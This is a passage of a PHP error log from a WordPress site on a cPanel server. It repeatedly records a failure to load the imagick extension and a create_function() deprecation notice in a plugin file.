on line 1 [05-Jun-2023 05:16:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:16:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:16:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:16:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:17:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:17:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:17:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:17:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:18:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:18:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:18:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:18:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:18:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:18:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:19:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:19:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 05:19:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 05:19:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 06:01:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 06:01:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 07:02:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 07:02:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 08:03:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 08:03:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 09:04:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 09:04:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 10:05:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 10:05:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 11:05:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 11:05:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 11:56:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 11:56:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 11:57:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 11:57:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 11:58:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 11:58:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 11:59:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 11:59:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:00:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:00:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:00:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:00:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:00:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:00:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:01:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:01:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:02:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:02:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:02:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:02:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:03:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:03:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:04:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:04:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:04:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:04:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:05:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:05:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:05:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:05:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:06:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:06:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:06:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:06:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:06:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:06:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:07:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:07:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:07:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:07:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:07:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:07:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:08:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:08:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:08:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:08:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:09:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:09:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:09:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:09:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:10:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:10:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:10:53 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:10:53 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:11:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:11:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 12:15:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 12:15:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 13:07:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 13:07:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 14:08:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 14:08:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 15:09:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [05-Jun-2023 15:09:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [05-Jun-2023 16:10:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 